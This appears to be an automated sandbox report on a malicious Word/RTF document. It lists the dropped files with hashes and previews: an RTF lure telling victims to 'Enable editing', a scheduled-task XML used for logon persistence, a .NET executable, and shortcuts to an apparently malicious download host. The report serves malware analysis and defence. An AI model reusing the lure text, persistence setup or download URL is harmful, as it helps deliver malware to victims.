Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...x..f..............0............VI... ...`....@.. ....................................@..................................I..O....`...............6...6.........../..T............................................ ............... ..H............text...\)... ..................... ..`.rsrc........`.......,..............@..@.reloc...............4..............@..B................6I......H........B..D>.........................................................^..}.....(.......(......0../........(...........s....o...........s.... ....o.......0............r...po......,..(...+...+....,....o.....+S.o............+7............(........( ..........,.........&........X.......i2...+........C.#f........{...."..}........0..G.........(!.....,$........s".........%...P....(#...&+....-..+..($.....(%.......0..+.........,..{.......+....,...{....o&.......('....*..0......

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\9F4A4ED3.doc

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Rich Text Format data, version 1
Category:	dropped
Size (bytes):	711568
Entropy (8bit):	4.106515155471183
Encrypted:	false
SSDEEP:	6144:j62W62W62W62W62W62W62W62W62W62W62W62W62W62W62W62W62W62W62W62W62I:K
MD5:	05E14A71757A27A508D0324732E006FE
SHA1:	54555F143881B2E53E44BC430BF709FC785F6BCF
SHA-256:	EEC7CF36EE9F2BB08B710C19227840D9FCB632C3DCCDF756D5A46CE194290469
SHA-512:	411E301FD70CCD8C16E2B85B37442387F9F3721A7BB24F236695DA95714C814A207F0D4AAA29B67ED594E8AAAEB13562922373AF7FC58622F33924371116878D
Malicious:	false
Yara Hits:	Rule: INDICATOR_RTF_MalVer_Objects, Description: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents., Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\9F4A4ED3.doc, Author: ditekSHen
Preview:	{\rtf1..{\*\uow9Bqc8PtXTP3i85Dr4RyUlnpM5Ni1L3cpeJawSatrQkWySqpR5AZOyS0IoURaNmtYpd0VKML7q}..{\825440998please click Enable editing from the yellow bar above.The independent auditors. opinion says the financial statements are fairly ...stated in accordance with the basis of accounting used by your organization. So why are the auditors giving you that other letter ...In an audit of financial statements, professional standards require that auditors obtain an understanding of internal controls to ...the extent necessary to plan the audit. Auditors use this understanding of internal controls to assess the risk of material ...misstatement of the financial statements and to design appropriate audit procedures to minimize that risk.The definition of good ...internal controls is that they allow errors and other misstatements to be prevented or detected and corrected by (the nonprofit.s) ...employees in the normal course of performing their duties. If the auditors detect an unexpected material mi

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{1C83C99B-998E-4DEF-B324-E69763DD529E}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	5632
Entropy (8bit):	3.9477587075262717
Encrypted:	false
SSDEEP:	48:ru0MPeLdgMm1mPGZ4Qo9gGl7phLCKjGnh9m9/kB1Ye:hMPeLOMwKxQHUL10/myBW
MD5:	078789EA65682BBBEB17D2391C5AB0B9
SHA1:	268E4A02F102F2858C5C9E95B59E72B9891C972E
SHA-256:	9EEEBD03C0C88A6C0F997FE22E09DFCA0FE06B52647B9A88CA3590BE20ECEC55
SHA-512:	B0680AA9D84D0217A445721DC98D75A4D8DF94C144121437534CFB91045E3F7B1CF42D002584CCCE9054E7732871A1F0C16B46DE9AD965E3DE3518CCDB69C0BB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{33BDEDAF-FD20-43DA-A75E-5CAD44283C48}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	615936
Entropy (8bit):	3.4337341964764097
Encrypted:	false
SSDEEP:	6144:ryemryemryemryemryemryemryemryemryemryemryemryemryemryemryemryeq:l
MD5:	10F8EB237CA285E74732B15966D220CA
SHA1:	98F706ED47C1D50CA5AE7F898544227C55A9EC0A
SHA-256:	FC034C90EF1ABDFCB3C3604942A5DBA9E79829173E28EF8E240DB4738FECBA61
SHA-512:	3219BDCD44587E95B6DEF7951A5AF240F0E6A3E7946715321883F79B51720768E65A1E99DA62C62933FE0A9B95ECC83EA910DBEE4F63C3B86368F47C1F31976C
Malicious:	false
Preview:	2.5.4.4.0.9.9.8.p.l.e.a.s.e. .c.l.i.c.k. .E.n.a.b.l.e. .e.d.i.t.i.n.g. .f.r.o.m. .t.h.e. .y.e.l.l.o.w. .b.a.r. .a.b.o.v.e...T.h.e. .i.n.d.e.p.e.n.d.e.n.t. .a.u.d.i.t.o.r.s.. .o.p.i.n.i.o.n. .s.a.y.s. .t.h.e. .f.i.n.a.n.c.i.a.l. .s.t.a.t.e.m.e.n.t.s. .a.r.e. .f.a.i.r.l.y. .s.t.a.t.e.d. .i.n. .a.c.c.o.r.d.a.n.c.e. .w.i.t.h. .t.h.e. .b.a.s.i.s. .o.f. .a.c.c.o.u.n.t.i.n.g. .u.s.e.d. .b.y. .y.o.u.r. .o.r.g.a.n.i.z.a.t.i.o.n... .S.o. .w.h.y. .a.r.e. .t.h.e. .a.u.d.i.t.o.r.s. .g.i.v.i.n.g. .y.o.u. .t.h.a.t. .o.t.h.e.r. .l.e.t.t.e.r. .I.n. .a.n. .a.u.d.i.t. .o.f. .f.i.n.a.n.c.i.a.l. .s.t.a.t.e.m.e.n.t.s.,. .p.r.o.f.e.s.s.i.o.n.a.l. .s.t.a.n.d.a.r.d.s. .r.e.q.u.i.r.e. .t.h.a.t. .a.u.d.i.t.o.r.s. .o.b.t.a.i.n. .a.n. .u.n.d.e.r.s.t.a.n.d.i.n.g. .o.f. .i.n.t.e.r.n.a.l. .c.o.n.t.r.o.l.s. .t.o. .t.h.e. .e.x.t.e.n.t. .n.e.c.e.s.s.a.r.y. .t.o. .p.l.a.n. .t.h.e. .a.u.d.i.t... .A.u.d.i.t.o.r.s. .u.s.e. .t.h.i.s. .u.n.d.e.r.s.t.a.n.d.i.n.g. .o.f. .i.n.t.e.r.n.a.l. .c.o.n.t.r.o.l.s. .t.o. .a.s.s.e.s.s. .

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{4FA22C98-7DA0-493A-91D1-4967A9EB7810}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{BC768F9A-1E23-42EC-BFB7-497C7ADC86A6}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	1.3568273340340578
Encrypted:	false
SSDEEP:	3:Iiiiiiiiiif3l/Hlnl/bl//l/bllBl/PvvvvvvvvvvFl/l/lAqsalHl3lldHzlbM:IiiiiiiiiifdLloZQc8++lsJe1Mzdl/n
MD5:	4A4B94C9957F158CDD601AB4F1E16029
SHA1:	564EF0627AB54CE6D6BBF73F556F41258AA6235C
SHA-256:	D08805B4AE8B78BB7422E13BA07A591B250F4220456DA0FA819049E45A3B3B44
SHA-512:	326D98CAA18C011A92EC1CB8458A83B32F13874A2F04B431AD28D36EB55D8AF065618B5B3FB4F2BCE24BC462F8B735F35D7D0F7D6E9A48793BE74981C75C824B
Malicious:	false
Preview:	..(...(...(...(...(...(...(...(...(...(...(...A.l.b.u.s...A........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................."...&...*.......:...>...............................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{DFDAF9DF-6BC4-4F6A-A0FF-C33A9DF361BF}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	511450
Entropy (8bit):	3.621629728928142
Encrypted:	false
SSDEEP:	6144:RemBdeFemQZdeHemBde2em/deXemBdexemBdeMemBdememBdekemBde6emBdeqeS:k
MD5:	271957CE1E8C89ECC5B78817AFF72C3B
SHA1:	A09354D842AA8EB80F1809A4C0495A182D4299E0
SHA-256:	29909FE15CB930A5F538F574A6E37EE8D6B007B32861E2ED53CC8488084ACD93
SHA-512:	41DAD904919ACBE45028AC4EF5907AB2D37F0FFEDBB18771B9D11D7CEF320D06A008993B5C27CA816F49DE52A1B362B80AD66D75672155141787BD494F220EB6
Malicious:	false
Preview:	..d.M.B.C.....B.E.S.O.N.D.E.R.H.E.D.E. .B.E.S.O.N.D.E.R.H.E.D.E. .V.I.R. .H.I.E.R.D.I.E. .M.A.A.N.D.....D.R.A.E.N.D.E. .N.R... .H.O.E.V.....3.0.2.0.8. .N.B.C. .D.R.A.A.G. .3.0. .S.T.K.....3.0.3.0.8. .N.B.C. .D.R.A.A.G. .6. .S.T.K.....3.2.0.0.7.X. .N.B.C. .D.R.A.A.G. .7.4. .S.T.K.....3.3.0.0.5. .N.B.C. .w.a.t. .5. .s.t.e.l.l.e. .d.r.a.....5.2.7.9.9. ./. .8.0.0.U. .(.2.5.8.7.7./.2.1.). .N.B.C. .w.a.t. .3.0. .P.C.S. .d.r.a.....6.0.0.1. .N.B.C. .w.a.t. .1.0.0. .s.t.u.k.s. .d.r.a.....6.0.0.4. .N.B.C. .w.a.t. ...................f...h...................................R...T..................................................................................................................................................................................................................................................................................................<...$..$.If........!v..h.#v..9.:V....l...,..t.......9..6.,.....5.....9.9...../.............B.....a..].p............yt........d........gd.

C:\Users\user\AppData\Local\Temp\1zbxn4w1.5ag.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\3ak1eazt.2jo.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\ipm54scl.0fx.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\ob5jkauh.3vm.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\t3xzkerh.51d.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\tdci0il4.ovp.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\tmpD135.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\swagodi78811.scr
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1572
Entropy (8bit):	5.102475688478882
Encrypted:	false
SSDEEP:	24:2di4+S2qhZ1ty1mCUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtaxvn:cgeZQYrFdOFzOzN33ODOiDdKrsuTuv
MD5:	6D99E6CD844D5ADD3B984F1948DA2646
SHA1:	15CB9C373AAD15F533F1FCF1FD3EC21D0AB61AB7
SHA-256:	6FA1B2B733D08BD0EBCB9822B7FF5CE25DEB7EA6C2B4B1313C6586C66FBFE1B3
SHA-512:	239E5F54414E88DA4D0DA2A59FAE09BE18A211BE8A41904440B7D32ED40BC3BB6D0516D6E9C2EBEC2D4853474A313E70F5BB8B7217E6F22B2CF126F7A59D2BFD
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Local\Temp\tmpED3D.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\gRpkBp.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1572
Entropy (8bit):	5.102475688478882
Encrypted:	false
SSDEEP:	24:2di4+S2qhZ1ty1mCUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtaxvn:cgeZQYrFdOFzOzN33ODOiDdKrsuTuv
MD5:	6D99E6CD844D5ADD3B984F1948DA2646
SHA1:	15CB9C373AAD15F533F1FCF1FD3EC21D0AB61AB7
SHA-256:	6FA1B2B733D08BD0EBCB9822B7FF5CE25DEB7EA6C2B4B1313C6586C66FBFE1B3
SHA-512:	239E5F54414E88DA4D0DA2A59FAE09BE18A211BE8A41904440B7D32ED40BC3BB6D0516D6E9C2EBEC2D4853474A313E70F5BB8B7217E6F22B2CF126F7A59D2BFD
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Local\Temp\wna1cdrj.utj.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\zanpl0wu.bwl.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\{4D4EF297-60A4-4F5E-91CE-187E9E616F6B}

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.0256201868743868
Encrypted:	false
SSDEEP:	6:I3DPcpvxggLRNpRuJcZksl3RXv//4tfnRujlw//+GtluJ/eRuj:I3DPSB+c3TvYg3J/
MD5:	9BA6521AA4C293C42D4E2FEC0E7ACA22
SHA1:	158CD63044F9742D025F1FA28250EA84E7EED080
SHA-256:	36DECCAF1198C11A8573A9487781CC47666C8E48CB338168F2D520C5230104B5
SHA-512:	A95412771A17E29BE29A10FBECD277BEC8CADCCF2375786C53794EC1F40EDBC2AAF9DC0C4BA49FEBD2A5A77F4A8AA7A5F215C1C0D47DA3F19546EB12C68E12F2
Malicious:	false
Preview:	......M.eFy...z...eT.B...9E\|..S,...X.F...Fa.q............................ZM..A..J.....$..........5....%I..(8n........................................................................x...x...x...x...............................................................................................................................................................................................................................................................................................................................zV.......... ..@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\{9AEEB410-4587-48E6-B580-60B91D50D143}

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.025564139045165832
Encrypted:	false
SSDEEP:	6:I3DPcjEHvxggLRxDsCY/l3RXv//4tfnRujlw//+GtluJ/eRuj:I3DPLFIRvYg3J/
MD5:	1DC466685469840300A494CD367B51A9
SHA1:	06DA5DCF5D3C315B65A92225E651BD052D8B365A
SHA-256:	4F940B9345C1494059A19CACDAC806388BA1AB1D5A994ECE8D186EF7DF18BF51
SHA-512:	9BF965C1C403BC6BC384549A695633C70F576976608E7D808A50F64380A5C1A13E72AE9646E21A6979667737182D97577BD33218CF71F24D2F5C35DA5FB397C3
Malicious:	false
Preview:	......M.eFy...zu...p..M......V*S,...X.F...Fa.q............................&r....oI.....D6..........b.6...L.C.;J.i......................................................................x...x...x...x...............................................................................................................................................................................................................................................................................................................................zV.......... ..@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Generic INItialization configuration [folders]
Category:	dropped
Size (bytes):	116
Entropy (8bit):	4.595989056219899
Encrypted:	false
SSDEEP:	3:M1V7Jp2NBSm4uBMEHjGvRKVLX2NBSv:MBp2n7f6JOLX2nc
MD5:	24FECF80E8AA21D60A3E87434DDBBE1D
SHA1:	DE2DF2A8D8E2C5D14B293F1C96266075D5B94B9C
SHA-256:	D609E341B62603B5AE94B8B8EBAA4F9A76098B732396DE5F5DD5FC150B167BDD
SHA-512:	C8598EFD5F3414E3110FA5D8A62523A97AD0A72AAB574DFBA9298E55E9B8E8290023CDAC94C46A7ACB649A2E660A8DD8E702B7D3C58A4F5320A4AC46BF3960EB
Malicious:	false
Preview:	[doc]..swagodi.doc.url=0..order072724.docx.LNK=0..[folders]..meridianresourcellc.top.url=0..order072724.docx.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\meridianresourcellc.top.url

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows 95 Internet shortcut text (URL=<https://meridianresourcellc.top/>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.515044522508076
Encrypted:	false
SSDEEP:	3:HRAbABGQYm2fYFHjGvRKVKy:HRYFVm4Yh6JOD
MD5:	CE919771462756159C19EF008ADBA361
SHA1:	B4BF29478B73CF30DD7B82190ECE702B0194F0C5
SHA-256:	237781B51E25E5B3F2E561416E4862048EDC8B06E1D4498206D1B1849144D7C1
SHA-512:	7677002729140F68B375B2A90948CBBCA3A22D40B2AD1234A953E8A982B669B616E03031DB5D037F8ADC7EB1D55251BC28E82940B02902893F7939F9FDBF73DA
Malicious:	true
Preview:	[InternetShortcut]..URL=https://meridianresourcellc.top/..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\order072724.docx.LNK

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 11 15:42:08 2023, mtime=Fri Aug 11 15:42:08 2023, atime=Fri Jul 26 20:45:00 2024, length=96005, window=hide
Category:	dropped
Size (bytes):	1044
Entropy (8bit):	4.537080470652056
Encrypted:	false
SSDEEP:	12:8RUUhgXg/XAlCPCHaXEqzBTytB/BGFX+WS/icWIYs3icvbDksPDtZ3YilMMEpxRI:8N/XTH1ytbkOcsyecsPDv3qaik7N
MD5:	D9110446B97182D6C8D373A8E6ABE302
SHA1:	7A2B11A85C68336819DD0402C6FA9EFDB663BCEF
SHA-256:	631C448C354541E5F72196B3835A300F73895C0BAA5B3915C3C873BB45CD5973
SHA-512:	1ACD3F7F018F538B4396A852486D68F91F8D1FE6B812F50AAF5BE9136D63EE3287F95E1F82CCB4ACF0E480EB5E610DBE248CEEDE3F8EEFCF8ADADB5C5D1B473E
Malicious:	false
Preview:	L..................F.... .......r.......r....P.......w...........................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......X....user.8......QK.X.X.....&=....U...............A.l.b.u.s.....z.1......WE...Desktop.d......QK.X.WE...._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....r.2..w...X.. .ORDER0~1.DOC..V.......WE..WE..........................o.r.d.e.r.0.7.2.7.2.4...d.o.c.x...d.o.c.......~...............-...8...[............?J......C:\Users\..#...................\\528110\Users.user\Desktop\order072724.docx.doc.+.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.o.r.d.e.r.0.7.2.7.2.4...d.o.c.x...d.o.c.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......528110..........D_....3N...W...9.W.e8..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\swagodi.doc.url

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows 95 Internet shortcut text (URL=<https://meridianresourcellc.top/swagodi.doc>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.626570204770473
Encrypted:	false
SSDEEP:	3:HRAbABGQYm2fYFHjGvRKVKNat:HRYFVm4Yh6JOUat
MD5:	4864A655882BCD4B9A581B677AFAA792
SHA1:	E18585174F42566473A25B467EBFC5A7E22255B1
SHA-256:	EDED0F94A9F63B3F7BCDE72C722DC338E4DE4E48C5E8BB972B3F5439510E0379
SHA-512:	3279A4A578FD476FF565351155F46E5F89BDF69B748C99DDBDA9E756F81CB08D0E3D27E04D2A7097EE04823F64AA706DB8B978944D5FAAAB9DF84A009AE4A4D3
Malicious:	true
Preview:	[InternetShortcut]..URL=https://meridianresourcellc.top/swagodi.doc..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020307
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyHlqlzl0pbklMWjV4lc+/dllln:vdsCkWtWYlz21kF2JV/l
MD5:	2CF7D3B8DED3F1D5CE1AC92F3E51D4ED
SHA1:	95E13378EA9CACA068B2687F01E9EF13F56627C2
SHA-256:	60DF94CDE4FD9B4A73BB13775079D75CE954B75DED5A2878277FA64AD767CAB1
SHA-512:	2D5797FBBE44766D93A5DE3D92911358C70D8BE60D5DF542ECEDB77D1195DC1EEF85E4CA1445595BE81550335A20AB3F11B512385FE20F75B1E269D6AB048E0A
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

C:\Users\user\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lex

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:Qn:Qn
MD5:	F3B25701FE362EC84616A93A45CE9998
SHA1:	D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
SHA-256:	B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
SHA-512:	98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
Malicious:	false
Preview:	..

C:\Users\user\AppData\Roaming\gRpkBp.exe

Download File

Process:	C:\Users\user\AppData\Roaming\swagodi78811.scr
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	683016
Entropy (8bit):	7.9744561964387195
Encrypted:	false
SSDEEP:	12288:HsTnHaxBnGvHnutIognoP+wRYnS0qYVd1XXikKRj9l/klFck1zJstnkR:WaznWHfYFYnK8PXikKRnCc2dN
MD5:	C448536AEEA36B80A15D639E31C7B847
SHA1:	5225387E8D149E14A73F3D25A055B069750AEFCC
